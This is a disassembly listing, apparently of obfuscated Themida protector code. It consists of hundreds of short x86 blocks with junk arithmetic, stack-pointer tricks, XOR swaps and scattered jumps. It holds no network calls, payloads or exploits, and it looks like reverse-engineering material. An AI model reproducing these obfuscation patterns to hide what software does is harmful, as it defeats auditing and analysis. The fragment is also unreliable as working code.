loc_59C739: ; CODE XREF: Themida_:005A1BD7j
xchg ecx, [esp]
mov esp, [esp]
mov [esp], esi
push eax
push ebx
mov ebx, 4BD62D2Dh
jmp loc_5A4491
; ---------------------------------------------------------------------------
loc_59C74E: ; CODE XREF: Themida_:00590D11j
add edi, 4
push 2ADDh
mov [esp], edx
mov edx, 4
jmp loc_5A145B
; ---------------------------------------------------------------------------
loc_59C766: ; CODE XREF: Themida_:0059E467j
add esp, 4
jmp loc_5A407D
; ---------------------------------------------------------------------------
loc_59C771: ; CODE XREF: Themida_:0059955Cj
mov esi, [esp]
add esp, 4
add ebp, 4
jmp loc_5941B4
; ---------------------------------------------------------------------------
loc_59C77F: ; CODE XREF: Themida_:005963BBj
mov ecx, 5E4A29F3h
add ebx, 1AA9427Dh
sub ebx, ecx
sub ebx, 1AA9427Dh
pop ecx
push eax
mov eax, esp
jmp loc_5A4662
; ---------------------------------------------------------------------------
loc_59C79B: ; CODE XREF: Themida_:005A1DC1j
add eax, 7515752h
pop ecx
sub edx, eax
pop eax
xor edx, [esp]
xor [esp], edx
xor edx, [esp]
mov esp, [esp]
mov [esp], eax
mov eax, 43D5111Ch
push 13BAh
mov [esp], eax
push esi
mov esi, 6F8607AFh
xor [esp+4], esi
pop esi
push dword ptr [esp]
pop ebp
push eax
mov eax, esp
jmp loc_5A2290
; ---------------------------------------------------------------------------
loc_59C7D7: ; CODE XREF: Themida_:005994CBj
and ecx, edx
push dword ptr [esp]
pop edx
jmp loc_5992CF
; ---------------------------------------------------------------------------
loc_59C7E2: ; CODE XREF: Themida_:00591CA4j
push 26DDh
mov [esp], edx
push esp
mov edx, [esp]
jmp loc_59B6BE
; ---------------------------------------------------------------------------
loc_59C7F3: ; CODE XREF: Themida_:005918BFj
push ebp
mov ebp, 6C6B45D5h
jmp loc_590692
; ---------------------------------------------------------------------------
loc_59C7FE: ; CODE XREF: Themida_:005A31C1j
mov [esp], cx
mov cl, 12h
add al, cl
pop cx
push cx
mov cl, 0A0h
add al, cl
pop cx
push ecx
mov cl, 0Dh
add al, cl
mov ecx, [esp]
push edi
mov edi, esp
add edi, 4
add edi, 4
xchg edi, [esp]
pop esp
add al, bl
jmp loc_5A1E23
; ---------------------------------------------------------------------------
loc_59C82F: ; CODE XREF: Themida_:00591A0Aj
sub dword ptr [esp+4], 52CD2DF1h
pop edi
pop ebx
push esi
mov esi, 4
add ebx, esi
jmp loc_5A1BF4
; ---------------------------------------------------------------------------
loc_59C846: ; CODE XREF: Themida_:005A453Aj
add edi, ecx
pop ecx
jmp loc_59D908
; ---------------------------------------------------------------------------
loc_59C84E: ; CODE XREF: Themida_:005A1FAEj
push 28B9h
jmp loc_597DF6
; ---------------------------------------------------------------------------
loc_59C858: ; CODE XREF: Themida_:00592208j
add edi, 29844384h
add edi, esi
sub edi, 29844384h
pop esi
jmp loc_59F491
; ---------------------------------------------------------------------------
loc_59C86C: ; CODE XREF: Themida_:005A3CBDj
inc ecx
shl ecx, 6
sub ecx, 0B2EAB421h
or ebx, ecx
mov ecx, [esp]
add esp, 4
xor ebx, 772770A3h
push edx
mov edx, 53B92FDBh
jmp loc_5968B5
; ---------------------------------------------------------------------------
loc_59C892: ; CODE XREF: Themida_:00598C37j
mov ebp, 4C87554Eh
xor ebp, 3B1DFF57h
mov edx, ebp
pop ebp
sub edx, esi
pop esi
jmp loc_596AEB
; ---------------------------------------------------------------------------
loc_59C8A8: ; CODE XREF: Themida_:005A0760j
mov ebp, [esp]
jmp loc_597232
; ---------------------------------------------------------------------------
loc_59C8B0: ; CODE XREF: Themida_:0059C2E5j
mov ecx, 668E0428h
jmp loc_598C15
; ---------------------------------------------------------------------------
loc_59C8BA: ; CODE XREF: Themida_:0059D924j
neg edx
sub edx, 4A892C8Bh
add edx, 1B8748DDh
dec edx
sub edx, 14CF925Ch
and esi, edx
jmp loc_596B09
; ---------------------------------------------------------------------------
loc_59C8D6: ; CODE XREF: Themida_:0059D436j
push esi
jmp loc_5A1AF3
; ---------------------------------------------------------------------------
loc_59C8DC: ; CODE XREF: Themida_:0059A61Cj
sub esp, 4
jmp loc_5A4403
; ---------------------------------------------------------------------------
loc_59C8E4: ; CODE XREF: Themida_:00596BC1j
mov eax, 4FE616ABh
jmp loc_59ED0D
; ---------------------------------------------------------------------------
loc_59C8EE: ; CODE XREF: Themida_:0059373Cj
mov ecx, 35752910h
shr ecx, 7
or ecx, 68BD7014h
jmp loc_595D4A
; ---------------------------------------------------------------------------
loc_59C901: ; CODE XREF: Themida_:005A2682j
sub edx, ecx
jmp loc_5A176C
; ---------------------------------------------------------------------------
loc_59C908: ; CODE XREF: Themida_:0059999Ej
dec ebp
xor ebp, 18B25179h
xor ebx, ebp
jmp loc_59CD5C
; ---------------------------------------------------------------------------
loc_59C916: ; CODE XREF: Themida_:00593104j
xor ebp, [esp]
jmp loc_595FD2
; ---------------------------------------------------------------------------
loc_59C91E: ; CODE XREF: Themida_:005977A8j
xchg ebx, [esp]
jmp loc_593111
; ---------------------------------------------------------------------------
loc_59C926: ; CODE XREF: Themida_:005A1506j
dec ecx
add ecx, 87B1C5D3h
add edx, ecx
pop ecx
xchg edx, [esp]
jmp loc_59EC3B
; ---------------------------------------------------------------------------
loc_59C938: ; CODE XREF: Themida_:00590E10j
mov [esp], esi
jmp loc_59B9F0
; ---------------------------------------------------------------------------
loc_59C940: ; CODE XREF: Themida_:00591A6Bj
add ebp, ebx
sub ebp, 196D0062h
jmp loc_5A1B38
; ---------------------------------------------------------------------------
mov cx, [esp]
push 4427h
mov [esp], esi
push esp
pop esi
jmp loc_5A4222
; ---------------------------------------------------------------------------
loc_59C960: ; CODE XREF: Themida_:005958E6j
mov ecx, 591F2F6Bh
jmp loc_59C676
; ---------------------------------------------------------------------------
loc_59C96A: ; CODE XREF: Themida_:0059FA41j
push ecx
mov ecx, 0D021E2Dh
and ecx, 2E4858EDh
dec ecx
push ecx
inc dword ptr [esp]
pop ecx
add ecx, 0FFFFFFFFh
xor ecx, 58086134h
add ecx, 0ABF786ECh
jmp loc_5920D8
; ---------------------------------------------------------------------------
loc_59C993: ; CODE XREF: Themida_:0059207Ej
pop ebp
add esp, 4
or eax, 76BA29CBh
jmp loc_59E9D2
; ---------------------------------------------------------------------------
mov ax, [esp]
jmp loc_592EEC
; ---------------------------------------------------------------------------
loc_59C9AD: ; CODE XREF: Themida_:00598770j
mov eax, esp
add eax, 4
push ebx
mov ebx, 4
sub eax, 668371D8h
add eax, ebx
add eax, 668371D8h
pop ebx
push eax
push dword ptr [esp+4]
pop eax
pop dword ptr [esp]
pop esp
or eax, eax
jz loc_5A077A
push dword ptr [edi+1Ch]
push 57Ah
mov [esp], esi
push ecx
push 5DAA6AD3h
pop ecx
dec ecx
push esi
jmp loc_593C9D
; ---------------------------------------------------------------------------
loc_59C9F2: ; CODE XREF: Themida_:005974BBj
mov esi, ebp
pop ebp
jmp loc_59F1A7
; ---------------------------------------------------------------------------
loc_59C9FA: ; CODE XREF: Themida_:00592C38j
sub edx, 3F1914F4h
add edx, eax
push eax
mov eax, 2C4F2B53h
push 54E4h
jmp loc_5A0FAB
; ---------------------------------------------------------------------------
loc_59CA12: ; CODE XREF: Themida_:00594441j
mov [esp], edx
push dword ptr [esp+4]
mov edx, [esp]
add esp, 4
pop dword ptr [esp]
mov esp, [esp]
push dword ptr [esp]
push dword ptr [esp]
jmp loc_5975AA
; ---------------------------------------------------------------------------
loc_59CA33: ; CODE XREF: Themida_:005A2A1Ej
add ecx, 728103CBh
sub ecx, ebx
sub ecx, 728103CBh
pop ebx
and eax, ecx
pop ecx
or eax, eax
jz loc_592E35
push ebx
jmp loc_59A1D8
; ---------------------------------------------------------------------------
loc_59CA53: ; CODE XREF: Themida_:0059385Bj
mov ebp, 2AB33F79h
mov esi, 2AB33F7Bh
xor esi, ebp
jmp loc_5A3E62
; ---------------------------------------------------------------------------
loc_59CA64: ; CODE XREF: Themida_:005A5075j
pop esi
add eax, 7D086Eh
add eax, ecx
sub eax, 7D086Eh
mov ecx, [esp]
push ecx
mov ecx, esp
add ecx, 4
add ecx, 4
xchg ecx, [esp]
pop esp
push edx
mov edx, 1DD508F1h
sub edx, 4F9E68F7h
push edx
push ebx
pop edx
mov ebx, [esp]
add esp, 4
not ebx
xor edx, ebx
xor ebx, edx
xor edx, ebx
push ecx
mov ecx, 2F820B61h
sub edx, ecx
pop ecx
sub esp, 4
mov [esp], ecx
mov ecx, 0BB6A4526h
sub edx, ecx
pop ecx
add ebx, edx
mov edx, [esp]
add esp, 4
sub ebx, eax
sub esp, 4
mov [esp], edx
jmp loc_59AC1A
; ---------------------------------------------------------------------------
loc_59CAD3: ; CODE XREF: Themida_:00594F39j
mov [esp], edi
push 6ADEh
jmp loc_5A14A3
; ---------------------------------------------------------------------------
loc_59CAE0: ; CODE XREF: Themida_:005A50EEj
mov ebx, esi
pop esi
jmp loc_59E1A6
; ---------------------------------------------------------------------------
loc_59CAE8: ; CODE XREF: Themida_:00591DB8j
sub ebp, eax
pop eax
xchg ebp, [esp]
pop esp
jmp loc_598809
; ---------------------------------------------------------------------------
loc_59CAF4: ; CODE XREF: Themida_:005A5359j
sub ebx, 4B542116h
jmp loc_59C45F
; ---------------------------------------------------------------------------
loc_59CAFF: ; CODE XREF: Themida_:0059BB50j
mov esi, esp
add esi, 4
jmp loc_59FA83
; ---------------------------------------------------------------------------
loc_59CB0C: ; CODE XREF: Themida_:0059BD2Cj
add esp, 4
push edx
push esp
jmp loc_5A4213
; ---------------------------------------------------------------------------
loc_59CB16: ; CODE XREF: Themida_:00590E95j
mov ebx, 2A74235Dh
xor ebx, edx
pop edx
add ebp, 28FF3F9Dh
add ebp, ebx
sub ebp, 28FF3F9Dh
pop ebx
push eax
mov eax, 4
add ebp, eax
jmp loc_59792D
; ---------------------------------------------------------------------------
loc_59CB3A: ; CODE XREF: Themida_:00595A4Ej
push bx
mov bl, 96h
xor dl, bl
jmp loc_5A1A5C
; ---------------------------------------------------------------------------
loc_59CB45: ; CODE XREF: Themida_:00597D8Aj
add ebp, 4
xchg ebp, [esp]
jmp loc_5A1A18
; ---------------------------------------------------------------------------
loc_59CB53: ; CODE XREF: Themida_:00595677j
mov bh, 4Fh
push edx
jmp loc_59BB08
; ---------------------------------------------------------------------------
loc_59CB5B: ; CODE XREF: Themida_:0059F859j
add edi, 4
push 2ED0h
mov [esp], edi
push dword ptr [esp+4]
jmp loc_5A0EE4
; ---------------------------------------------------------------------------
loc_59CB72: ; CODE XREF: Themida_:0059754Bj
mov [esp], eax
mov eax, 2570592h
jmp loc_594DA2
; ---------------------------------------------------------------------------
loc_59CB7F: ; CODE XREF: Themida_:00598BEBj
add edx, 4A45411Dh
pop edi
push edi
mov edi, 2
jmp loc_59357A
; ---------------------------------------------------------------------------
loc_59CB91: ; CODE XREF: Themida_:005A43F6j
add ebp, 661F4A59h
jmp loc_5A1567
; ---------------------------------------------------------------------------
loc_59CB9C: ; CODE XREF: Themida_:0059033Fj
xchg esi, [esp]
mov ecx, [esp]
sub esp, 4
mov [esp], ebp
mov ebp, esp
add ebp, 4
push ecx
push ebp
push 674B4770h
pop ebp
sub ebp, 674B476Ch
mov ecx, ebp
pop ebp
add ebp, ecx
pop ecx
xchg ebp, [esp]
pop esp
sub esp, 4
mov [esp], eax
push ecx
mov ecx, esp
push eax
jmp loc_5A2252
; ---------------------------------------------------------------------------
loc_59CBDD: ; CODE XREF: Themida_:00590D53j
rol word ptr [esp], cl
pushf
jmp loc_5902C1
; ---------------------------------------------------------------------------
loc_59CBE7: ; CODE XREF: Themida_:005937ABj
sub esi, edx
pop edx
and esi, 2B661709h
jmp loc_597FD0
; ---------------------------------------------------------------------------
loc_59CBF5: ; CODE XREF: Themida_:0059DEEBj
mov ebx, esp
add ebx, 4
add ebx, 4
xchg ebx, [esp]
pop esp
jmp loc_5902C1
; ---------------------------------------------------------------------------
loc_59CC09: ; CODE XREF: Themida_:00590EEEj
add esp, 4
jmp loc_59A4C2
; ---------------------------------------------------------------------------
loc_59CC11: ; CODE XREF: Themida_:00590B18j
sub ebp, 70C128F0h
pop esi
xchg ebp, [esp]
pop esp
push 992h
mov [esp], ecx
mov ecx, esp
add ecx, 4
add ecx, 4
xchg ecx, [esp]
pop esp
or eax, eax
jnz loc_5A541E
push ebp
push 26C23F8Bh
mov ebp, [esp]
jmp loc_596F0F
; ---------------------------------------------------------------------------
loc_59CC4C: ; CODE XREF: Themida_:00597FBBj
pop ebp
add edx, edi
push dword ptr [esp]
pop edi
add esp, 4
xchg edx, [esp]
mov esp, [esp]
xor ebx, eax
push dword ptr [eax]
jmp loc_5902C1
; ---------------------------------------------------------------------------
loc_59CC68: ; CODE XREF: Themida_:005908DAj
xchg esi, [esp]
pop esp
push ebx
jmp loc_59D55A
; ---------------------------------------------------------------------------
loc_59CC72: ; CODE XREF: Themida_:00599629j
add esp, 2
jmp loc_5A300B
; ---------------------------------------------------------------------------
loc_59CC7D: ; CODE XREF: Themida_:0059F0BBj
add esp, 4
push small word ptr [eax]
jmp loc_5902C1
; ---------------------------------------------------------------------------
loc_59CC88: ; CODE XREF: Themida_:00594577j
pop esi
sub edx, eax
pop eax
jmp loc_59ADB0
; ---------------------------------------------------------------------------
loc_59CC91: ; CODE XREF: Themida_:00594157j
pop esi
push 0ACEh
mov [esp], eax
mov eax, 0D571704h
xor eax, 0D571700h
push ecx
mov ecx, 146A03C4h
add ecx, 4DE06122h
and ecx, 76C94BB7h
jmp loc_5922E0
; ---------------------------------------------------------------------------
loc_59CCBB: ; CODE XREF: Themida_:0059E89Bj
mov edx, 0A96E141Dh
xor ebx, edx
jmp loc_596BDE
; ---------------------------------------------------------------------------
loc_59CCC7: ; CODE XREF: Themida_:00597216j
mov di, dx
jmp loc_596103
; ---------------------------------------------------------------------------
loc_59CCCF: ; CODE XREF: Themida_:005A2E04j
shl ebp, 3
jmp loc_594759
; ---------------------------------------------------------------------------
loc_59CCD7: ; CODE XREF: Themida_:0059CF72j
mov ecx, [esp]
add esp, 4
push 5D3Dh
mov [esp], esi
mov esi, esp
push edi
mov edi, 184162EBh
push ecx
mov ecx, 227C3EC7h
dec ecx
shl ecx, 3
jmp loc_596FE1
; ---------------------------------------------------------------------------
loc_59CCFF: ; CODE XREF: Themida_:0059DD01j
sub esp, 4
mov [esp], esp
add dword ptr [esp], 4
pop edi
jmp loc_59EEC1
; ---------------------------------------------------------------------------
loc_59CD12: ; CODE XREF: Themida_:00590DB7j
sub eax, 0A1E6306h
pop esi
jmp loc_5A4C43
; ---------------------------------------------------------------------------
loc_59CD1D: ; CODE XREF: Themida_:0059A605j
add ebx, ecx
pop ecx
pop ecx
push eax
mov eax, 2
push eax
mov eax, 7CEE79C0h
add eax, 47827C13h
or eax, 1A032382h
neg eax
shr eax, 4
xor eax, 7AE94E74h
add eax, 0A63BB84Ah
sub ebx, eax
pop eax
jmp loc_593986
; ---------------------------------------------------------------------------
loc_59CD4E: ; CODE XREF: Themida_:00594D02j
add ebp, 0D3DAD7Eh
sub esi, ebp
pop ebp
jmp loc_593976
; ---------------------------------------------------------------------------
loc_59CD5C: ; CODE XREF: Themida_:0059C911j
pop ebp
inc ebx
sub ebx, 7B1E206Eh
mov esi, ebx
pop ebx
add eax, 7B2E2D02h
add eax, esi
sub eax, 7B2E2D02h
pop esi
push edi
mov edi, 4
add eax, edi
pop edi
jmp loc_59C438
; ---------------------------------------------------------------------------
loc_59CD82: ; CODE XREF: Themida_:00597206j
mov edx, [esp]
add esp, 4
push ebx
jmp loc_591975
; ---------------------------------------------------------------------------
loc_59CD8E: ; CODE XREF: Themida_:0059AE6Bj
mov bl, dh
pop edx
push ecx
mov cl, 81h
jmp loc_5948EB
; ---------------------------------------------------------------------------
loc_59CD99: ; CODE XREF: Themida_:0059E681j
pop ebx
xor edi, [esp]
xor [esp], edi
jmp loc_5943F9
; ---------------------------------------------------------------------------
mov ax, [esp]
push 68D7h
mov [esp], ecx
mov ecx, esp
add ecx, 4
jmp loc_597550
; ---------------------------------------------------------------------------
loc_59CDBE: ; CODE XREF: Themida_:005A3F82j
add ecx, 4
xor ecx, [esp]
xor [esp], ecx
xor ecx, [esp]
pop esp
push edx
push dword ptr [esp+4]
mov edx, [esp]
add esp, 4
pop dword ptr [esp]
mov esp, [esp]
imul ecx, eax
jmp loc_598BF0
; ---------------------------------------------------------------------------
loc_59CDE7: ; CODE XREF: Themida_:0059604Aj
pop ebp
inc ebp
add ebp, 24FC45A9h
add ebx, ebp
pop ebp
add ebx, 2
xchg ebx, [esp]
pop esp
sub al, 0A4h
sub al, bl
push edx
mov dl, 64h
jmp loc_5A278B
; ---------------------------------------------------------------------------
loc_59CE08: ; CODE XREF: Themida_:0059F6D9j
shl edi, 6
or edi, 3C5D6026h
xor edi, 4B68E41Fh
add edx, edi
mov edi, [esp]
add esp, 4
jmp loc_595CD9
; ---------------------------------------------------------------------------
loc_59CE24: ; CODE XREF: Themida_:0059A05Aj
mov [esp], esp
add dword ptr [esp], 4
pop esi
push 27B8h
mov [esp], edi
mov edi, 4
push edi
mov edi, 58FB205Dh
add esi, edi
pop edi
add esi, edi
sub esi, 58FB205Dh
mov edi, [esp]
add esp, 4
jmp loc_5A0B52
; ---------------------------------------------------------------------------
loc_59CE55: ; CODE XREF: Themida_:0059A4C3j
pop ebx
inc cl
add cl, 0D5h
not cl
add cl, 67h
jmp loc_5921AE
; ---------------------------------------------------------------------------
loc_59CE65: ; CODE XREF: Themida_:00596C19j
mov eax, 4CE10E0Fh
neg eax
xor eax, 9CEC85A5h
xor esi, eax
pop eax
push edi
mov edi, 58007C7h
xor esi, edi
jmp loc_59EBC2
; ---------------------------------------------------------------------------
loc_59CE81: ; CODE XREF: Themida_:0059427Aj
pop eax
push edi
mov edi, esp
push esi
jmp loc_597BBF
; ---------------------------------------------------------------------------
loc_59CE8B: ; CODE XREF: Themida_:0059DAABj
pop esp
add esp, 4
sub esp, 4
jmp loc_598C9C
; ---------------------------------------------------------------------------
loc_59CE9A: ; CODE XREF: Themida_:005934D9j
add ebx, 2
sub esp, 4
mov [esp], ebx
push dword ptr [esp+4]
pop ebx
jmp loc_594F09
; ---------------------------------------------------------------------------
loc_59CEB3: ; CODE XREF: Themida_:005A29C0j
movzx cx, ah
push small 6098h
mov [esp], cx
movzx cx, al
push cx
pushf
jmp loc_5902C1
; ---------------------------------------------------------------------------
loc_59CECB: ; CODE XREF: Themida_:0059D728j
add [esp+4], ebx
push edx
push ecx
mov ecx, 5914666h
shr ecx, 7
xor ecx, 6A19746Ah
mov edx, ecx
jmp loc_598047
; ---------------------------------------------------------------------------
loc_59CEE6: ; CODE XREF: Themida_:005A38D0j
mov [esp], esi
jmp loc_59B212
; ---------------------------------------------------------------------------
loc_59CEEE: ; CODE XREF: Themida_:0059BC3Dj
mov edx, [esp]
jmp loc_596F44
; ---------------------------------------------------------------------------
loc_59CEF6: ; CODE XREF: Themida_:005A03B2j
pop esi
sub ecx, ebp
push edx
mov edx, 46EC6EDDh
jmp loc_592F9B
; ---------------------------------------------------------------------------
loc_59CF04: ; CODE XREF: Themida_:005923EEj
mov ecx, ebp
pop ebp
add ecx, 1A1105E5h
add ecx, 0E3E5F288h
add esi, ecx
pop ecx
jmp loc_594981
; ---------------------------------------------------------------------------
loc_59CF1B: ; CODE XREF: Themida_:005A4280j
push eax
mov al, 0DBh
mov ch, al
pop eax
jmp loc_5A41FE
; ---------------------------------------------------------------------------
loc_59CF26: ; CODE XREF: Themida_:0059B1C8j
pop edi
push 4DB6h
mov [esp], ebp
mov ebp, 473A4976h
add ebp, 0B8C5B68Ch
add eax, ebp
pop ebp
xchg eax, [esp]
jmp loc_59D787
; ---------------------------------------------------------------------------
loc_59CF45: ; CODE XREF: Themida_:0059D2B4j
mov ecx, 48534E36h
jmp loc_59C733
; ---------------------------------------------------------------------------
loc_59CF4F: ; CODE XREF: Themida_:0059F240j
mov ebp, esp
add ebp, 4
add ebp, 4
xchg ebp, [esp]
pop esp
pop dword ptr [esp]
mov esp, [esp]
movzx cx, al
sub esp, 4
mov [esp], ecx
push esp
push dword ptr [esp]
jmp loc_59CCD7
; ---------------------------------------------------------------------------
loc_59CF77: ; CODE XREF: Themida_:005A2111j
sub al, 0CAh
push dword ptr [esp]
jmp loc_599590
; ---------------------------------------------------------------------------
loc_59CF81: ; CODE XREF: Themida_:00599B84j
and ebx, 0E887B93h
sub ebx, 0FA781B29h
add ebx, ebp
pop ebp
shr ebx, 3
sub ebx, 4A413639h
sub ebx, 7F612221h
jmp loc_59526E
; ---------------------------------------------------------------------------
mov cx, [esp]
jmp loc_5A2943
; ---------------------------------------------------------------------------
loc_59CFAD: ; CODE XREF: Themida_:0059C559j
mov esi, esp
add esi, 4
sub esi, 4
xor esi, [esp]
xor [esp], esi
xor esi, [esp]
pop esp
jmp loc_5956E1
; ---------------------------------------------------------------------------
loc_59CFCA: ; CODE XREF: Themida_:005978FFj
add eax, ebx
pop ebx
sub esp, 4
mov [esp], esi
mov esi, 0C835FB1h
add esi, 1C266F60h
and esi, 7D296AC4h
and esi, 33435F31h
push edx
mov edx, esp
add edx, 4
sub edx, 4
xchg edx, [esp]
jmp loc_59F0EB
; ---------------------------------------------------------------------------
loc_59D001: ; CODE XREF: Themida_:0059A273j
add esp, 4
push 55B9h
mov [esp], ecx
push 2
pop ecx
sub edi, ecx
pop ecx
xor edi, [esp]
xor [esp], edi
jmp loc_59BCEF
; ---------------------------------------------------------------------------
loc_59D020: ; CODE XREF: Themida_:005A3AB5j
add bl, 4Ch
sub esp, 4
jmp loc_5931E7
; ---------------------------------------------------------------------------
loc_59D02B: ; CODE XREF: Themida_:00597638j
pop edx
add ebx, edi
pop edi
jmp loc_5A54D3
; ---------------------------------------------------------------------------
loc_59D034: ; CODE XREF: Themida_:0059DB29j
sub dh, cl
jmp loc_5999CF
; ---------------------------------------------------------------------------
loc_59D03B: ; CODE XREF: Themida_:005A34B1j
shl ecx, 8
not ecx
push esi
mov esi, 792C4605h
jmp loc_5998E3
; ---------------------------------------------------------------------------
loc_59D04B: ; CODE XREF: Themida_:005985A7j
mov [esp], ebp
push ecx
mov ecx, 149942C8h
mov ebp, ecx
pop ecx
mov esi, 18AC127Ch
shr esi, 1
inc esi
and esi, 14667552h
jmp loc_591EA6
; ---------------------------------------------------------------------------
loc_59D06A: ; CODE XREF: Themida_:005942A3j
pop dword ptr [esp]
pop esp
jmp loc_595209
; ---------------------------------------------------------------------------
loc_59D073: ; CODE XREF: Themida_:005935A0j
pop edi
add ebp, eax
mov eax, [esp]
add esp, 4
sub esp, 4
jmp loc_59A42B
; ---------------------------------------------------------------------------
loc_59D08A: ; CODE XREF: Themida_:0059F55Fj
add eax, 7E8C66B9h
pop ecx
add eax, ebx
add eax, 13EB171Fh
push 19B0h
mov [esp], esi
jmp loc_5922B0
; ---------------------------------------------------------------------------
loc_59D0A4: ; CODE XREF: Themida_:00596E99j
sub esp, 4
jmp loc_59D79A
; ---------------------------------------------------------------------------
loc_59D0AF: ; CODE XREF: Themida_:0059B89Aj
mov esi, 46EC6EDDh
jmp loc_5A03A4
; ---------------------------------------------------------------------------
loc_59D0B9: ; CODE XREF: Themida_:005A475Dj
add esi, 81D521F3h
add ebx, 151E5588h
add ebx, esi
push esi
mov esi, 151E5588h
sub ebx, esi
jmp loc_5927D9
; ---------------------------------------------------------------------------
loc_59D0D4: ; CODE XREF: Themida_:00598104j
push ebx
mov ebx, 0DD8FCE68h
sub ecx, ebx
pop ebx
add edi, 1DE06D3Fh
jmp loc_5A567B
; ---------------------------------------------------------------------------
loc_59D0E8: ; CODE XREF: Themida_:005A5732j
xor ch, 5Ah
jmp loc_594F02
; ---------------------------------------------------------------------------
loc_59D0F0: ; CODE XREF: Themida_:0059241Fj
mov ebx, esp
add ebx, 4
add ebx, 4
xor ebx, [esp]
jmp loc_59AE27
; ---------------------------------------------------------------------------
loc_59D103: ; CODE XREF: Themida_:00595297j
push edi
jmp loc_591A0F
; ---------------------------------------------------------------------------
loc_59D109: ; CODE XREF: Themida_:00591A14j
mov esi, 45BA1008h
add esi, edi
pop edi
push edi
mov edi, 667037BAh
jmp loc_5A02BA
; ---------------------------------------------------------------------------
loc_59D11C: ; CODE XREF: Themida_:00590339j
sub edx, 41F3496Dh
add edx, ecx
add edx, 41F3496Dh
mov ecx, [esp]
jmp loc_59863D
; ---------------------------------------------------------------------------
loc_59D132: ; CODE XREF: Themida_:0059BC1Fj
pop esi
add eax, 4E056A57h
sub eax, 68CD73EAh
add eax, edx
jmp loc_5926F0
; ---------------------------------------------------------------------------
loc_59D144: ; CODE XREF: Themida_:0059DA9Aj
sub edi, eax
pop eax
xchg edi, [esp]
pop esp
mov [esp], ebx
jmp loc_593ADF
; ---------------------------------------------------------------------------
loc_59D153: ; CODE XREF: Themida_:0059C615j
mov ebx, 72BD5217h
mov ebp, 0F19B9C46h
sub ebp, ebx
pop ebx
push ebx
mov ebx, 0C07E1E9Dh
mov edi, ebx
pop ebx
add edi, ebp
jmp loc_595FFE
; ---------------------------------------------------------------------------
loc_59D170: ; CODE XREF: Themida_:005A0122j
jmp loc_5902C1
; ---------------------------------------------------------------------------
loc_59D175: ; CODE XREF: Themida_:0059DF9Cj
push ebx
jmp loc_59F238
; ---------------------------------------------------------------------------
loc_59D17B: ; CODE XREF: Themida_:005A14FCj
sub esi, 0FF57F8D1h
mov ecx, esi
pop esi
jmp loc_5A5446
; ---------------------------------------------------------------------------
loc_59D189: ; CODE XREF: Themida_:00595863j
push dword ptr [esp]
pop eax
jmp loc_591715
; ---------------------------------------------------------------------------
loc_59D192: ; CODE XREF: Themida_:0059F08Fj
push eax
push dword ptr [esp+4]
pop eax
jmp loc_596F3C
; ---------------------------------------------------------------------------
loc_59D19D: ; CODE XREF: Themida_:00590BF3j
push 3008h
mov [esp], ebp
mov ebp, esp
add ebp, 4
push esi
mov esi, 4
jmp loc_5934B6
; ---------------------------------------------------------------------------
loc_59D1B8: ; CODE XREF: Themida_:005A2F41j
mov esp, [esp]
mov [esp], ebp
jmp loc_59C0BE
; ---------------------------------------------------------------------------
loc_59D1C3: ; CODE XREF: Themida_:00598C28j
not cl
sub cl, 81h
jmp loc_59B9C8
; ---------------------------------------------------------------------------
loc_59D1CD: ; CODE XREF: Themida_:005A36B3j
mov ch, bl
jmp loc_5A0716
; ---------------------------------------------------------------------------
loc_59D1D4: ; CODE XREF: Themida_:005A49BEj
add esi, 4
add esi, 4
xchg esi, [esp]
mov esp, [esp]
push 0F3Ch
mov [esp], ebp
push eax
mov eax, 4D0B291Bh
mov ebp, 4D0B2919h
xor ebp, eax
pop eax
add esi, ebp
pop ebp
xchg esi, [esp]
pop esp
mov fs:[edx], ax
jmp loc_5902C1
; ---------------------------------------------------------------------------
loc_59D209: ; CODE XREF: Themida_:005A1937j
add esp, 4
rep movsd
add esp, [edx+38h]
push 4D54h
mov [esp], ebx
mov ebx, 38h
sub ebx, 66113BD2h
sub ebx, 3B83343Bh
add ebx, edx
add ebx, 3B83343Bh
push ebp
mov ebp, 69AC572Eh
and ebp, 216B7DEAh
add ebp, 44E8E6A8h
add ebx, ebp
jmp loc_59891F
; ---------------------------------------------------------------------------
loc_59D24B: ; CODE XREF: Themida_:0059B7ABj
add bh, al
sub bh, 64h
pop eax
sub cl, 8Ah
jmp loc_5917D2
; ---------------------------------------------------------------------------
loc_59D259: ; CODE XREF: Themida_:005A4E48j
push ebx
push dword ptr [esp+4]
jmp loc_594886
; ---------------------------------------------------------------------------
loc_59D263: ; CODE XREF: Themida_:00599819j
and edx, 4B6F2843h
neg edx
xor edx, 0EEEBC1D3h
add ebx, edx
pop edx
and ebx, 17417E02h
push 6E3h
mov [esp], esi
jmp loc_5986E6
; ---------------------------------------------------------------------------
loc_59D287: ; CODE XREF: Themida_:00598F08j
neg ebp
add ebp, 0D297DE7h
xor ebp, 23290533h
add esi, ebp
jmp loc_5911B2
; ---------------------------------------------------------------------------
loc_59D29C: ; CODE XREF: Themida_:00594AE9j
push eax
mov eax, 6ECC05EAh
mov edx, eax
mov eax, [esp]
jmp loc_5A3FEB
; ---------------------------------------------------------------------------
loc_59D2AC: ; CODE XREF: Themida_:00598116j
add edi, 5F5139E1h
pop esi
push ecx
jmp loc_59CF45
; ---------------------------------------------------------------------------
mov cx, [esp]
push 0E07h
mov [esp], ebx
jmp loc_59F3F8
; ---------------------------------------------------------------------------
loc_59D2CA: ; CODE XREF: Themida_:005A38C5j
add ebx, 362A022Ch
add ebx, edx
sub ebx, 362A022Ch
pop edx
pop ecx
jmp loc_5A14EE
; ---------------------------------------------------------------------------
loc_59D2DF: ; CODE XREF: Themida_:00598DEEj
sub ecx, 925C039Fh
jmp loc_5A09F9
; ---------------------------------------------------------------------------
push dword ptr [esp]
push dword ptr [esp]
pop eax
add esp, 4
jmp loc_59A492
; ---------------------------------------------------------------------------
loc_59D2F9: ; CODE XREF: Themida_:00591545j
mov esi, [esp]
push 2F2h
jmp loc_5958AC
; ---------------------------------------------------------------------------
push dword ptr [edi+2Ch]
jmp loc_5902C1
; ---------------------------------------------------------------------------
loc_59D30E: ; CODE XREF: Themida_:0059A7BEj
mov ecx, esp
add ecx, 4
add ecx, 4
xchg ecx, [esp]
pop esp
xor edi, ebp
pop ebp
push eax
mov eax, edi
mov ebx, eax
jmp loc_596B6E
; ---------------------------------------------------------------------------
loc_59D32A: ; CODE XREF: Themida_:005906E3j
sub eax, 33A97F68h
add eax, 4B2A12EDh
push dword ptr [esp]
pop esi
add esp, 4
jmp loc_590F9E
; ---------------------------------------------------------------------------
loc_59D343: ; CODE XREF: Themida_:0059DD3Aj
mov edx, [esp]
jmp loc_598D25
